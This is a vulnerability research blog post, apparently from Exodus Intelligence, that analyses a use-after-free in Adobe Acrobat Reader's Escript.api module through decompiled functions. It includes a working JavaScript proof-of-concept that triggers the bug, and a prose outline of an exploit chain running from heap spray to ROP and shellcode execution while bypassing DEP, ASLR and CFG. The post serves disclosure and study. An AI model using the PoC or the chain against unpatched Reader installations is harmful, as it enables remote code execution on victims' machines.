By Michele Campa
Overview
In this blog post we take a look at a use-after-free vulnerability found in Adobe Acrobat Reader’s Escript.api module in February 2025. This issue was patched on April 2026 and likely assigned CVE-2026-34621, CVE-2026-34626 , or CVE-2026-34622.
Disclaimer: Every offset and function name referenced in this blog post refers to Adobe Acrobat Reader 24.005.20399 32-bit version. Since Adobe Acrobat Reader is closed-source software, all function names, data structure names, and field purposes presented in this analysis are inferred through reverse engineering. They represent the author’s best-effort interpretation of the observed behavior and may not reflect the original developer’s naming or intent.
The vulnerability occurs in the Escript.api module due to improper validation of property accessor definitions on built-in JavaScript objects (similar to prototype pollution). By leveraging the __defineGetter__() JavaScript API, it is possible to install a getter on a non-configurable property of a built-in object such as Collab.toString.
Each invocation of the getter recurses through native C++ code, where push_event_scope_and_resolve() registers an exception handler frame. While the JavaScript call stack does not grow, the exception chain accumulates handler frames with each recursion. This allows the recursion to exhaust the C++ stack without triggering the JavaScript engine’s recursion limit.
The module tracks scoped objects through two independent bookkeeping mechanisms: a reference counting system and an event scope stack. These must be kept in sync, but the exception handler installed by push_event_scope_and_resolve() fails to do so. When the C++ stack limit is reached, push_event_scope_and_resolve() never reaches its cleanup code that would remove the scoped object from the scope stack. Meanwhile, the reference counter is still decremented to zero through the separate link_head chain cleaning phase. The garbage collector then frees the object, but a scope stack entry still holds a pointer to the freed memory — a dangling pointer. Accessing the freed object through the scope stack leads to a use-after-free.
Background
Adobe JavaScript __defineGetter__ Method
Certain predefined methods exist for all Javascript objects by default, such as toString(), __defineGetter__(), __defineSetter__(), and so on.
The __defineGetter__(fieldName, function) method is used to assign a getter function to an object field, which can be an attribute or a method.
obj = {};
field = "name";
obj.__defineGetter__(field,
function(){
[1]
console.println("executed");
return "Value";
}
);
console.println(obj['name']);
The snippet above attaches a getter function to the name field of the object obj. The snippet produces the following console log.
executed Value
When the name field is accessed, the function defined at [1] is executed. Notice, that the first argument of the __defineGetter__() function must be a string or a variable that can be represented as string.
A more interesting example is the following.
obj = {};
anObj = {};
[2]
anObj.toString = function() {console.log("this is the toString method of field object"); return "fieldName";}
obj.__defineGetter__(anObj, function(){console.log("executed"); return "Value";});
console.log(obj['fieldName']);
The console log of the above snippet is shown below.
this is the toString method of field object executed Value
The toString() method of anObj is overwritten, [2]. As the __defineGetter__() method expects the first argument to be a string, the new toString() method is executed. It returns fieldName, which is the field where the getter function is attached to. Then the getter method is executed, returning the field’s value Value.
Adobe JavaScript ReadStream Object
The JavaScript ReadStream object is an object which can be created from JavaScript that embeds a string. The string is stored in the NT Heap.
var readStreamObj = util.streamFromString("Hello World", "utf-8");
readStreamObj.read(4);
The util.streamFromString() function expects two strings as parameters and throws a TypeError exception when the arguments are not of that type.
The ReadStream object is created through the util.streamFromString() JavaScript instruction. The string Hello World is stored in a new NT Heap chunk, with a size of the string length plus one for the null terminator. It is possible to read the string content from JavaScript by invoking the read() method of the ReadStream object and passing the number of bytes to read as the argument.
Adobe Reader Escript – Scoped Objects and the Event Scope Stack
When the Escript.api module executes JavaScript it must manage two independent bookkeeping systems that must stay in sync: scoped objects and the event scope stack. Understanding both – and the relationship between them – is essential to understanding the vulnerability.
Scoped objects are runtime-managed objects allocated during JavaScript execution. Each scoped object is tracked through a reference-counted linked list rooted at a global root object. When a scoped object is created, it is optionally linked into the root’s LIFO chain with a state value that determines how it is cleaned up. The cleanup function walks the chain and, depending on the link state, decrements reference counters and frees objects.
The event scope stack is a LIFO stack that tracks which Event JavaScript object is currently bound to the global event property. When a function like push_event_scope_and_resolve()creates a new Event, it pushes it onto the stack. When the function completes, it pops the entry and rebinds the event property to the previously pushed Event. This is necessary because JavaScript execution in Escript is re-entrant – recursive calls can nest Event bindings, and each must be restored on exit.
The vulnerability arises because these two systems diverge on exception unwind: the scoped object’s reference counter is still decremented through the link chain cleanup, but the event scope stack entry is never popped, leaving a dangling pointer.
Adobe Reader Escript – Scoped Objects List
Scoped objects are runtime-managed objects allocated during JavaScript execution. Each scoped object is tracked through a reference-counted linked list rooted at a global root object. When created, a scoped object is optionally linked into the root’s LIFO chain with a state value that determines how it is cleaned up.
The scoped_obj_t size is 0x48 bytes.
The function responsible for creating such objects is scoped_obj_init().
// Offset: 0x1540EE
// Filename: Escript.api
scoped_obj_t *__thiscall scoped_obj_init(
scoped_obj_t *this,
scoped_obj_t *RootObject,
_DWORD *object_derived_from_root,
__int16 a4,
link_entry_t *object_derived_from_root_1)
{
int *p_obj1; // edi
this->root_object = (int)RootObject;
p_obj1 = &this->obj1;
[Truncated]
this->reference_counter = 0;
[Truncated]
if ( a4 )
{
[3]
++this->reference_counter;
scoped_link_prepend((scoped_obj_t *)this->root_object, 2, (int)this);
}
[Truncated]
}
// Offset: 0x15417A
// Filename: Escript.api
_DWORD *__cdecl scoped_link_prepend(scoped_obj_t *RootObject, int state, int scoped_obj)
{
link_entry_t *result; // eax
[4]
result = (link_entry_t *)alloc_wrap_checked_alloc((wchar_t *)0xC);
result->next_entry = (int)RootObject->link_head;
result->scoped_object = (scoped_obj_t *)scoped_obj;
result->link_state = state;
++RootObject->num_links;
[5]
RootObject->link_head = result;
return &result->link_state;
}
The function scoped_obj_init() initializes the object referred to by this. The branch at [3] is taken when a4 is not zero, meaning that the this object must be inserted in the link_head field of the RootObject. In this case, the function scoped_link_prepend() is invoked, and at [4] a link_entry_t object is allocated.
The allocated object, named result in the code, represents the new link_head for the RootObject [5]. The address of the newly initialized scoped_obj (the passed in this object), the previous link_head address, and a link state which is set to two by default are stored in the result object. This design allows the engine to traverse all objects attached to the RootObject in reverse order, from the last added to the first.
The main object, named RootObject, and the this object have the following structure (referred to as scoped_obj_t within this post).
Offset Length (bytes) Field Description
--------- -------------- -------------------- -------------------------
0x00 4 root_object The address of the
root object.
...
0x08 4 referenceCounter The object's reference
counter.
0x0C 4 link_head Address of a structure
that serves as the last
node in a linked list of
objects attached to and
dependent on this object.
0x10 4 num_links Number of links referenced
by the 'link_head' field.
...
The link_head structure has the link_entry_t structure format shown below.
Offset Length (bytes) Field Description
--------- -------------- -------------------- -------------------------
0x00 4 link_state The state of the link.
When this value is set to
two the object stored
in the 'scoped_object'
is in a valid state.
0x04 4 scoped_object The scoped object
stored in this link.
0x08 4 next_entry This field points to the
previous 'link_head'
structure.
When the JavaScript statement finishes, a cleaning phase is executed where most of the created scoped objects can be destroyed or altered. This phase is carried out by the following function.
// Offset: 0x1543D0
// Filename: Escript.api
int __cdecl scoped_cleanup_chain(scoped_obj_t *RootObject)
{
link_entry_t *link_head; // edi
scoped_obj_t *scoped_object; // ecx
int result; // eax
word_102DF928 = 1;
link_head = RootObject->link_head;
if ( link_head )
{
while ( link_head->link_state )
{
[6]
scoped_object = link_head->scoped_object;
if ( scoped_object )
{
switch ( link_head->link_state )
{
[Truncated]
case 2:
[7]
--scoped_object->reference_counter;
scoped_release_internal(scoped_object->root_object, (_BYTE)scoped_object + 4);
break;
[Truncated]
}
}
[8]
RootObject->link_head = (link_entry_t *)link_head->next_entry;
(*(void (__thiscall **)(_DWORD, link_entry_t *))(dword_102E14AC + 12))(*(_DWORD *)(dword_102E14AC + 12), link_head);
--RootObject->num_links;
link_head = RootObject->link_head;
if ( !link_head )
{
goto LABEL_19;
}
}
[Truncated]
LABEL_19:
result = 0;
word_102DF928 = 0;
return result;
}
The scoped_cleanup_chain() function takes a root scoped object as input. The branch at [6] is taken when the link_head state is not zero. At [6] it retrieves the last scoped object attached to the root and, if the link_state is set to two, decreases the scoped object’s reference counter by one [7]. The function then gets the previous link_head object at [8] and decrements the num_links of the root scoped object by one.
Adobe Reader Escript.api – Event Scope Stack
The event scope stack is a LIFO structure that tracks which Event JavaScript object is currently bound to the global event property at each nesting level. It is not a general-purpose cache – it is the authoritative record of which Event is “active” at each depth of re-entrant execution. When a new Event is pushed, the previous binding is preserved; when it is popped, the previous Event is restored. The event scope stack object is directly stored in the data section of the Escript.api module at offset 0x2DFCB4.
The object has the following format:
Offset Length (bytes) Field Description
--------- -------------- ---------------------- -------------------------
...
0x04 4 bucket_array Address of an array of
'bucket_entry_t'.
0x08 4 num_buckets Total number of slots in
'bucket_array'.
0x0C 4 hash_offset Hash probe offset for
open addressing.
0x10 4 depth Total number of objects
pushed.
The bucket_array is an array of bucket_entry_t where each item is an array of four addresses.
Offset Length (bytes) Field Description
--------- -------------- ---------------------- -------------------------
0x00 4 slot_0 The first slot to store
the pushed scoped object.
0x04 4 slot_1 The second slot to store
the pushed scoped object.
0x08 4 slot_2 The third slot to store
the pushed scoped object.
0x0C 4 slot_3 The fourth slot to store
the pushed scoped object.
A JavaScript object is added to the event scope stack by the exec_cache_insert() function.
// Offset: 0x16130D
// Filename: Escript.api
int __thiscall exec_cache_insert(event_scope_stack_t *this, void *objectToPush)
{
[Truncated]
hash_offset = this->hash_offset;
depth = this->depth;
if ( (((_BYTE)depth + (_BYTE)hash_offset) & 3) == 0
&& this->array_slots <= (unsigned int)(depth + 4) >> 2 )
{
[9]
exec_cache_grow(this, 1u);
}
array_slots = this->array_slots;
this->hash_offset &= 4 * array_slots - 1;
v6 = this->hash_offset + this->depth;
v7 = (v6 >> 2) & (array_slots - 1);
if ( !*(&this->bucket_array->slot_0 + v7) )
{
[10]
v9 = 0x10;
_mm_lfence();
*(&this->bucket_array->slot_0 + v7) = (int)operator new(v9);
}
result = *(_DWORD *)objectToPush;
[11]
*(_DWORD *)(*(&this->bucket_array->slot_0 + v7) + 4 * (v6 & 3)) = *(_DWORD *)objectToPush;
++this->depth;
return result;
}
At [9] it calls exec_cache_grow() which reallocates the bucket_array array to make room for the new object to push. The branch at [10] is reached when the bucket_entry_t item is equal to zero, so a new bucket_entry_t is allocated and stored there. Then the objectToPushaddress is stored in the bucket_entry_t object in one of the four slots according to the depthvalue. Finally, it increments the depth field by one, at [11].
When an object contained in the event scope stack is freed it must also be removed from
the event scope stack. This phase is implemented in the exec_cache_pop_and_rebind_event()function.
// Offset: 0x165B60
// Filename: Escript.api
_DWORD *exec_cache_pop_and_rebind_event()
{
[Truncated]
depth = Objects_Exec_cache_object.depth;
v1 = 0;
if ( Objects_Exec_cache_object.depth )
{
[12]
v1 = *(_DWORD **)exec_cache_get_last_entry(&Objects_Exec_cache_object);
Objects_Exec_cache_object.depth = depth - 1;
[13]
v2 = (scoped_obj_t *)scoped_get_root_or_global((int)v1);
[Truncated]
[14]
scoped_cleanup_chain(v2);
}
int __cdecl scoped_get_root_or_global(scoped_obj_t *a1)
{
if ( a1 )
{
return a1->root_object;
}
else
{
return get_global_root();
}
}
The function exec_cache_pop_and_rebind_event() takes the branch at [12] if there is at least one object in the event scope stack.
In this case the function exec_cache_get_last_entry() is invoked and returns the last pushed object and thedepth is decreased by one. At [13] it invokes the scoped_get_root_or_global() function to retrieve the
pushed object’s root object and at [14] it invokes the scoped_cleanup_chain() to traverse all the scoped objects referenced by the retrieved root object.
Vulnerability
The Escript.api module imposes a stack limit to avoid stack overflow during recursive calls. It creates the limit by setting the stack size to 0x40000. The module handles overflows by raising an exception which will traverse the exception chain. This chain is composed of all the exception handlers installed by the previously executed Escript.api functions.
The __defineGetter__() method allows overriding the getter of any JavaScript object field. When a field name is needed, JavaScript internally calls the toString() method of the object passed as the first argument to __defineGetter__(). By overriding the toString() method of the Collab object, an attacker can control the code that is executed whenever the string representation of Collab is required, enabling recursive execution patterns that exhaust the stack limit.
When the util.scand() JavaScript function is executed, an internal function named push_event_scope_and_resolve() creates a scoped object and inserts it into the event scope stack. However, the exception handler installed by the function does not remove the object from the event scope stack.
It is possible to trick the function into being called recursively via the overridden Collab’s toString getter, which leads to a stack overflow. Once the limit is overflowed, the handler of the function fails to remove the scoped object created from the event scope stack, the recursive call is stopped due to the exception being raised, and finally the cleaning phase of the JavaScript statement execution decrements the reference counter of the scoped objects. This leads to a dangling pointer in the event scope stack, which can be exploited as a use-after-free.
The following image illustrates the two bookkeeping mechanisms.

The root cause is that the scope stack and the reference counting are two separate bookkeeping mechanisms that must be kept in sync. The reference counter is decremented through the link_head chain by scoped_cleanup_chain() during the cleaning phase, while the scope stack entry is only popped by exec_cache_pop_and_rebind_event() inside push_event_scope_and_resolve(). When the stack overflow causes push_event_scope_and_resolve() to unwind before reaching its cleanup code, the cache is never popped – but the reference counter still reaches zero through the other path. Once the garbage collector frees the object, the scope stack holds a dangling pointer.
The following image illustrates the resulting data structure.

The following JavaScript proof-of-concept, embedded within a PDF document, demonstrates the vulnerability:
function garbageCollect() {
new ArrayBuffer(2 * 100 * 1024 * 1024);
}
[1]
try{var var_obj1 =1;}catch(e){}
[2]
try{Collab.__defineGetter__("toString",
[3]
function()
{
[4]
try{util.printd({}, {});}
catch(e)
{
[5]
};
[6]
try{util.scand("Ms", Collab);}catch(e){};
});}catch(e){};
[7]
try{var_obj1.__defineGetter__(Collab, function(){});}
catch(e)
{
[8]
};
[9]
garbageCollect();
[10]
try{this.removeField(app);}catch(e){};
At [1] a variable is created. At [2] a getter function for the toString field of the Collab object is created via __defineGetter__(). The function at [3] does not have a return value but, as toString is a method field of the Collab object, it is executed every time the string representation of Collab is required. Inside this getter, util.printd({}, {}) is called with invalid arguments at [4], causing an exception that is caught at [5]. Then util.scand("Ms", Collab) is executed at [6], which internally invokes push_event_scope_and_resolve() and allocates a scoped object stored in the event scope stack.
At [7], an empty getter function is assigned to var_obj1 using Collab as the field name. Since __defineGetter__ expects a string, Collab’s toString method is called, triggering the getter at [3] recursively. Each recursive iteration executes util.printd({}, {}) and util.scand("Ms", Collab) again. Due to the stack limit imposed by the Escript.api module, the inner catch clause at [5] can no longer be executed once the stack is exhausted, and the exception propagates to the outer catch clause at [8], breaking the recursion.
When the exception is raised, the exception handler installed by push_event_scope_and_resolve() does not remove the scoped object in the scope stack. The cleaning phase decrements the object’s reference counter to zero via the link_head chain. The garbage collector at [9] then frees the object, but a dangling pointer remains in the scope stack since its cleanup code was never reached. At [10], the global object is accessed and the freed object is dereferenced, leading to a use-after-free.
// Offset: 0x1D5E96
// Filename: Escript.api
__int16 __cdecl push_event_scope_and_resolve(int arg0, int a2, wchar_t *a3, int a4, int a5)
{
[Truncated]
v14 = scoped_get_root_or_global(arg0);
scoped_link_prepend_empty(v14);
[11]
v5 = create_event_jsobj(v14, 0);
a1 = v5;
[Truncated]
[12]
create_event_obj_and_cache(a1);
[13]
(*(void (__cdecl **)(_DWORD, void (__noreturn *)()))(dword_102E1490 + 8))(0, throw_cxx_exception_wrapper);
(*(void (__thiscall **)(_DWORD))(dword_102E1490 + 12))(*(_DWORD *)(dword_102E1490 + 12));
exec_cache_pop_and_rebind_event();
scoped_cleanup_chain(v14);
return v9;
}
The create_event_jsobj(), invoked at [11], internally ends in calling the scoped_obj_init()function where a scoped object is allocated and initialized. Then, at [12], the create_event_obj_and_cache() function is invoked to store the scoped object in the event scope stack.
// Offset: 0x160F20
// Filename: Escript.api
void __cdecl create_event_obj_and_cache(int a1)
{
[Truncated]
v1 = a1;
if ( a1 )
{
[Truncated]
[14]
exec_cache_insert(dword_102DFCB4, &a1);
}
}
The create_event_obj_and_cache() function internally invokes exec_cache_insert() to store the scoped object in the event scope stack [14]. Notice, that when an object is inserted into the event scope stack its reference counter is not increased by one. So the reference counter of the scoped object created at [11] is still set to one.
Then it returns at [13], where the function resolve_toString() is called. This function never returns as it needs to retrieve the toString method of the Collab object. From the resolve_toString() function the recursion is achieved, leading it to execute the statements util.printd({}, {}) and util.scand("Ms", Collab) once again. As the util.printd({}, {}) statement triggers an exception, the stack limits will eventually be overflowed.
At this point, the inner catch clause at [5] in the PoC can no longer be executed and the exception is handled by the outer catch clause at [8], breaking the recursion.
When the stack limit check fails, the check_stack_limit() function returns zero and the thrown_exception_throw_cxx_exception() function is invoked, which throws an exception by calling CxxThrowException().
// Offset: 0x13140
// Filename: Escript.api
int __cdecl check_stack_limit(unsigned __int8 **a1, int *a2, int a3, int *a4, std::ios_base **a5)
{
[Truncated]
[15]
v30 = *(_DWORD *)(*(_DWORD *)v5 + 4) < (unsigned int)&v78;
v89 = -1;
if ( !v30 )
{
register_exception_frame((int)v5);
[16]
return 0;
}
}
At [15] it checks if the current stack position, &v78, is out-of-bounds. The variable v78 is a stack variable and is only used to get a stack address that is checked against the stack limit set during the startup. When the current stack address is below the stack limit, the branch at [16] is taken and the function returns zero.
Once the JavaScript statement at [7] in the PoC has been completed, the cleaning phase is executed, which ends in calling the exec_cache_pop_and_rebind_event() function on the event scope stack. This decreases the reference counter of the scoped object, created at [11], until it reaches zero.
The garbage collector is triggered at [9] in the PoC and releases all of the objects that have no more references in the code, so the object created at [11] is freed. However, a dangling pointer to it still remains in the event scope stack.
The this.removeField() statement at [10] executes the exec_cache_pop_and_rebind_event() which accesses the freed object.
Exploitation
This vulnerability can be exploited without any other bug in Adobe Reader 32-bit.
On Adobe Reader 64-bit we need a way to bypass PartitionAlloc to use the JavaScript to gain arbitrary read/write.
Against 32-bit Adobe Reader, the exploitation strategy used to achieve Remote Code Execution, bypassing Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG), consists of the following phases:
- Heap Spray – Spray a large number of
ArrayBufferobjects onto the heap to achieve a predictable layout, increasing the probability of placing one at a known fixed address. - Trigger the Use-After-Free – Leverage the bug to create a dangling pointer in the event scope stack, then trigger the garbage collector to free the scoped object while a scope stack entry still holds a reference to it.
- Reclaim the Freed Object – Spray
ReadStreamobjects on the NT Heap with controlled content so that one overlaps with the freed scoped object’s address, allowing controlled data to be interpreted as a valid JavaScript object. - Gain Out-of-Bounds Read/Write – By manipulating the reclaimed object through the event scope stack’s cleaning phase, the exploit overwrites an
ArrayBuffer’s length field, expanding its size to gain an out-of-bounds read/write primitive into adjacent heap memory. - Leak Module Base Addresses – Use the out-of-bounds primitive to read
DataViewobject internals that contain references to theEscript.apidata section, and from there follow pointers to leak the base addresses ofEscript.apiandAcrord32.dll, defeating ASLR. - Code Execution – Overwrite global function pointers in
Escript.apito redirect execution through a chain of gadgets found inAcrord32.dll. The gadget chain invokesVirtualProtect()to mark theArrayBuffermemory as executable, then transfers execution to a first-stage shellcode that allocates RWX memory, copies the second-stage payload into it, and executes it viaCreateThread(). This approach bypasses CFG by routing through indirect calls that are valid under the CFG policy.
Patch
The patch introduced a security flag that blocks __defineGetter__, __defineSetter__, Object.defineProperty, and Object.defineProperties on the built-in objects, effectively preventing property descriptor overrides. The latest vulnerable version confirmed was 25.001.21288.
About Exodus Intelligence
Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild. Our researchers create and use in-house agentic AI tooling to supplement parts of their vulnerability research and exploit development workflow. In addition to efficiency gains, we’re able to ensure AI-enabled research output maintains the same standards of quality as traditional research.
For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.